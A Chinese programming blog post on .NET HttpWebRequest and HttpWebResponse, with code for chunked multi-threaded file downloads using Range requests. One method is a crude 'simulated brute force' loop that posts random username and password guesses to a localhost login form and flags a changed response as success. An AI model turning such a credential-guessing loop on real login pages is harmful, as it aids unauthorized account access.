Net中httpResponse和httpRequest的简单实用;

这对象很简单,封装很多常用的方法和属性;使用起来也很方便;

这个关键是要对我们的 http中的各种协议要很了解滴呀;

模拟一个简单的暴力破解:

  public static class HttpInfo
    {
        public static void Attack()
        {
            string url = "";
            var request=(HttpWebRequest)WebRequest.Create(url);  //请求对象滴滴呀

            var response = (HttpWebResponse)request.GetResponse(); //得到响应对象;

            Stream stream = response.GetResponseStream();         //得到这个响应流滴呀;

            StreamReader read = new StreamReader(stream);          //流转化;

            string content = read.ReadToEnd();   //这样就得到我们的响应的文本信息了滴呀;


        }

        //然后这个就是我们的暴力破解的代码;
        public static void VoilteFuck()
        {

           
            string url = "http://localhost:3837/Login/index";
            string pre = string.Empty;
            for(int i = 0; i < 100; i++)
            {
                Console.WriteLine("破解进行中...");
                Thread.Sleep(300);

                var userName = new Random(DateTime.Now.Millisecond).Next(8,19).ToString();  //这里要添加一个我们的seed来提
                var PassWord = new Random(DateTime.Now.Millisecond).Next(8,19).ToString();
                var PostInfo = "UserName="+userName+ "&PassWord="+ PassWord;
                var bytes = Encoding.UTF8.GetBytes(PostInfo);//将我们的额content变成字节的形式;
                var request = (HttpWebRequest)WebRequest.Create(url);
                //根据fidller中看到的信息,我们可以模拟追加这样的信息;
                request.Method = WebRequestMethods.Http.Post;
                request.Timeout = 1000 * 60;
                request.AllowAutoRedirect = true;
                request.ContentLength = bytes.Length;
                request.ContentType = "application/x-www-form-urlencoded";

                //将我们的content写入post请求;
                var stream = request.GetRequestStream();
                stream.Write(bytes,0,bytes.Length);
                stream.Close();

                var response = (HttpWebResponse)request.GetResponse(); //然后成功的写入到我们的响应流中滴呀;

                //获取请求的值;
                var sr = new StreamReader(response.GetResponseStream());
                var currentContext = sr.ReadToEnd();
                if (string.IsNullOrEmpty(pre))
                {
                    pre = currentContext;
                }else
                {
                    if (pre != currentContext) //这种判断是不太精确的,应为;mvc中有一个EnableBrowserLink,想page中插入随机js代码;所以,算了,这只是一个简单的模拟;
                    {
                        Console.WriteLine("第{0}次之后,破解成功,破解成功,破解成功,账户是:{1},密码是:{2}", i,userName, PassWord);
                        break;
                    }
                    else
                    {
                        Console.WriteLine("第{0}次,账户是:{1},密码是:{2}", i, userName, PassWord);
                    }
                }
            }
            Console.WriteLine("尝试完毕!");

        }

    }
}

 上面是向我们的service端不断的post提交东西,接下来我们尝试从service download一些信息;

  先尝试我们的额单线程模式

 //通过http,开启多个线程,来下载我们想要额基本东西滴呀;
   public static class DownInfo
    {
        //这个是学习http的一个很好的实例滴呀;
        //每个线程下载的字节数,方便我们最后的合并滴啊
        public static ConcurrentDictionary<long, byte[]> dic = new ConcurrentDictionary<long, byte[]>();

        // http://imgsrc.baidu.com/baike/pic/item/dc854fda6c02ee8db7fd4805.jpg
        public static string ResourceUrl = "http://www.pncity.net/bbs/data/attachment/forum/201107/30/1901108yyd8gnrs2isadrr.jpg";



        //启用单线程的方式来进行下载
        public static void RunSingle()
        {
            Stopwatch watch = new Stopwatch();
            watch.Start();
            Console.Write("下载开始......");
            if (GetHead() == 0)
            {
                return;
            }
            var request = (HttpWebRequest)HttpWebRequest.Create(ResourceUrl);

            var response = (HttpWebResponse)request.GetResponse();

            var stream = response.GetResponseStream();//得到我们额响应流滴呀

            var MStream = new MemoryStream(); //这使用我们的内存流滴呀;

            var bytes = new byte[10240];

            int count = 0;

            while((count=stream.Read(bytes,0,bytes.Length))!=0)
            {
                MStream.Write(bytes,0,count); //写入到我们的内存流中滴呀;
            }

            //然后存到我们的本地中;
            var name = ResourceUrl.Substring(ResourceUrl.LastIndexOf('/') + 1);
            var target = @"F:\xiandao_person\"+name; 
            FileStream fs = new FileStream(target,FileMode.Create,FileAccess.ReadWrite);//其他信息: 对路径“F:xiandao_person”的访问被拒绝。(没有添加文件名导致的,就是我们的name滴呀;)
            fs.Write(MStream.ToArray(),0,(int)MStream.Length);
            MStream.Close();
            response.Close();
            watch.Stop();
            Console.WriteLine("下载结束,单线程下载耗时:{0}",watch.Elapsed);
            //好的,这下我们的图片下载就基本结束了,

        }
        //获取响应头的信息滴呀;
        private static long GetHead()
        {
            var request = HttpWebRequest.Create(ResourceUrl);
            request.Method = "Head";
            request.Timeout = 3000;

            var response =(HttpWebResponse)request.GetResponse();
            var code = response.StatusCode;
            if (code != HttpStatusCode.OK)
            {
                Console.WriteLine("下载资源无效!");
                return 0;
            }
            var total = response.ContentLength;
            Console.WriteLine("当前资源大小为:"+total);
            response.Close();
            return total;
        }

        //顺便复习一下常见流的操作滴呀;
        private static void Read()
        {
            string url = @"";
            FileStream fs = new FileStream(url,FileMode.Open,FileAccess.Read);
            byte[] by = new byte[fs.Length];
            fs.Read(by,0,(int)fs.Length);//将我们的数据读入我们的by字节数组中滴呀;
        }
        //文件的写入操作的啊;
        private static void Write(string val)
        {
            byte[] buffer = Convert.FromBase64String(val);
            string path = @"";
            FileStream fs = new FileStream(path,FileMode.Create);
            fs.Write(buffer,0,buffer.Length);
            fs.Flush();
            fs.Close();
        }


    }

 接下来就来尝试我们的多线程模式滴 ;

 //后面我们考虑,使用并发编程来进行下载的呀,同样提高效率滴呀;不,并发编更多的是用在本地计算中的;
        //多线程来进行请求,然后拼接在一起,这个是一个很不错的实例和使用方式滴呀;,效果很不错

           public static CountdownEvent cde = new CountdownEvent(0);
           public static ConcurrentDictionary<long, byte[]> dic = new ConcurrentDictionary<long, byte[]>();
           public static string ResourceUrl = "http://www.pncity.net/bbs/data/attachment/forum/201107/30/1901108yyd8gnrs2isadrr.jpg"

        public static void RunMultiTask()
        {
            Stopwatch watch = Stopwatch.StartNew();
            Console.Write("下载开始......");
            int threadCount = 5;
            long start = 0;
            long end = 0;
            var total = GetHead();
            if (total == 0) { return; }

            int pageSize = (int)Math.Ceiling((double)total / threadCount);//“每一页”的大小
            cde.Reset(threadCount);
            Task[] task = new Task[threadCount];

            for(var i = 0; i < threadCount; i++)
            {
                start = i * pageSize;
                end = (i + 1) * pageSize - 1;  //因为,小标是从0开始的,所以这里要减去一滴呀;
                if (end > total)
                    end = total;
                var obj = start + "|" + end;
                task[i] = Task.Factory.StartNew(j=> DownTaskMulti(obj),obj);
            }
            Task.WaitAll(task);
            var name = ResourceUrl.Substring(ResourceUrl.LastIndexOf('/')+1);
            var path = @"F:\xiandao_person\" + name;
            FileStream fs = new FileStream(path,FileMode.Create,FileAccess.ReadWrite);
            var result = dic.Keys.OrderBy(i=>i).ToList(); //保证顺序滴啊;
            foreach(var item in result)
            {
                fs.Write(dic[item],0,dic[item].Length);  //写入到本地中;
            }
            fs.Close();
            watch.Stop();
            Console.WriteLine("下载结束,启动{0}个线程,耗时{1}", threadCount,watch.Elapsed);
        }

        /// <summary>
        /// 多线程来进行请求,然后拼接在一起,这个是一个很不错的实例和使用方式滴呀;,效果很不错
        /// </summary>
        /// <param name="obj"></param>
        private static void DownTaskMulti(object obj)
        {
            var single = obj.ToString().Split('|');
            long start = Convert.ToInt64(single.FirstOrDefault());
            long end = Convert.ToInt64(single.LastOrDefault());

            var request = (HttpWebRequest)HttpWebRequest.Create(ResourceUrl);
            request.AddRange(start, end); //每次仅仅请求获取制定位置的数据滴呀;,这样的效果还是挺不错滴呀;
            //向请求添加指定范围的字节范围标头。
            //
            // 参数:
            //   from:
            //     开始发送数据的位置。
            //
            //   to:
            //     停止发送数据的位置

            var response = (HttpWebResponse)request.GetResponse();
            var stream = response.GetResponseStream();
            var ms = new MemoryStream();
            var bytes = new byte[10240]; //每次取出这么多个字节
            int count = 0;
            while ((count=stream.Read(bytes,0,bytes.Length))!=0)
            {
                ms.Write(bytes,0,count); //写入我们的额内存流中;
            }
            ms.Close();
            response.Close();
            dic.TryAdd(start,ms.ToArray());
            cde.Signal();

        }

这里有个Task的使用和我们CountdownEvent 的使用滴呀;这个要注意复习和使用滴呀;

这里还要注意复习和了解我们http相关协议的各种知识滴呀;

原文地址:https://www.cnblogs.com/mc67/p/6229965.html